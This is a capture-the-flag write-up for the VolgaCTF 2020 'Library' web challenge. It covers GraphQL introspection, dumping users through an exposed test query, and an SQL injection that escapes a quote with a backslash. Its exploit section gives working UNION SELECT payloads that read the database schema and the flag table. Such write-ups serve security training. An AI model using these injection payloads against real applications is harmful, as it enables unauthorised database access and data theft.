Library [web]

Library

We have written a pretty useful library website where you can find all our books.

  • URL: http://library.q.2020.volgactf.ru:7781/

Recon

A Web application. We can:

  • Login
  • Register

There is a GraphQL endpoint over at http://library.q.2020.volgactf.ru:7781/api/

GraphQL

We can dump the schema to learn more about the API:

http://library.q.2020.volgactf.ru:7781/api/?query={__schema{types{name}}}
type Book {
  title: String!
  author: String!
  pic: String!
}

type LoginResponse {
  login: String
  name: String
  email: String
  token: String
}

input LoginUser {
  login: String
  password: String
}

type Mutation {
  _empty: String
  register(user: RegisterUser): String
}

type Query {
  _empty: String
  login(user: LoginUser): LoginResponse
  testGetUsersByFilter(filter: UserFilter): [User]
  books: [Book]
}

input RegisterUser {
  login: String
  password: String
  name: String
  email: String
}

type User {
  login: String
  name: String
  email: String
}

input UserFilter {
  login: String
  name: String
  email: String
}

Dump users:

We see an interesting "Query type" called testGetUsersByFilter. By giving it an empty filter, we can dump the user table:

Query:

query {
  testGetUsersByFilter (
    filter: {}
  ) {
    login
  }
}

However, there do not seem to be interesting user accounts other than random participants running Burp Scanner etc, (really bro?) :-).

Database

After a while we found some database errors. Firstly, the web application sometimes returns ER_NO_DEFAULT_FOR_FIELD, which is a MySQL error message.

We could further verify this by playing around with register user functionality:

Query:

mutation {
  register (user : {
    login: "BLABLABLA"
    email: ""
    password: ""
  })
}

Response:

{
  "errors": [
    {
      "message": "insert into `users` (`email`, `hash`, `login`, `name`) values ('', '$argon2i$v=19$m=4096,t=3,p=1$zN6bz6SUKRbtv+W7HRPTSg$Wyz+XmfJ8IfpVvF/QZ4sIuEIJrUVzlPRbhrwlmYPUzE', 'BLABLABLA', DEFAULT) - ER_NO_DEFAULT_FOR_FIELD: Field 'name' doesn't have a default value",
      "locations": [
        {
          "line": 27,
          "column": 3
        }
      ],
      "path": [
        "register"
      ],
      "extensions": {
        "code": "INTERNAL_SERVER_ERROR"
      }
    }
  ],
  "data": {
    "register": null
  }
}

Which shows an INSERT query.

In addition, testGetUsersByFilter seemingly uses replace() to remove single quotes from input:

Query:

query {
  testGetUsersByFilter (
    filter: {
      login: "'"
    }
  ) {
    login
  }
}

Response:

{
  "data": {
    "testGetUsersByFilter": [
      {
        "login": ""
      }
    ]
  }
}

We can further verify this by supplying null as login username:

Query:

query {
  testGetUsersByFilter (
    filter: {
      login: null
    }
  ) {
    login
  }
}

Response:

{
  "errors": [
    {
      "message": "Cannot read property 'replace' of null",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "testGetUsersByFilter"
      ],
      "extensions": {
        "code": "INTERNAL_SERVER_ERROR"
      }
    }
  ],
  "data": {
    "testGetUsersByFilter": null
  }
}

SQL injection by escaping closing '

Query:

query {
  testGetUsersByFilter (
    filter: {
      login: "\\"
      email: ""
    }
  ) {
    login
  }
}

Response:

{
  "errors": [
    {
      "message": "Database error",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "testGetUsersByFilter"
      ],
      "extensions": {
        "code": "INTERNAL_SERVER_ERROR"
      }
    }
  ],
  "data": {
    "testGetUsersByFilter": null
  }
}

Query looks like: SELECT * FROM users WHERE login='\' OR email=''

query {
  testGetUsersByFilter (
    filter: {
      login: "\\"
      email: " OR 1=1 -- "
    }
  ) {
    login
  }
}

Query looks like: SELECT * FROM users WHERE login='\' OR email=' OR 1=1 -- '

6 select columns: UNION SELECT 1,2,3,4,5,6 --

Exploit

Getting the MySQL schema:

query {
  testGetUsersByFilter (
    filter: {
      login: "\\"
      email: " UNION SELECT 1,TABLE_NAME,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS -- "
    }
  ) {
    login
    email
  }
}

Get flag

query {
  testGetUsersByFilter (
    filter: {
      login: "\\"
      email: " UNION SELECT 1,flag,3,4,5,6 FROM flag -- "
    }
  ) {
    login
  }
}

Flag

VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}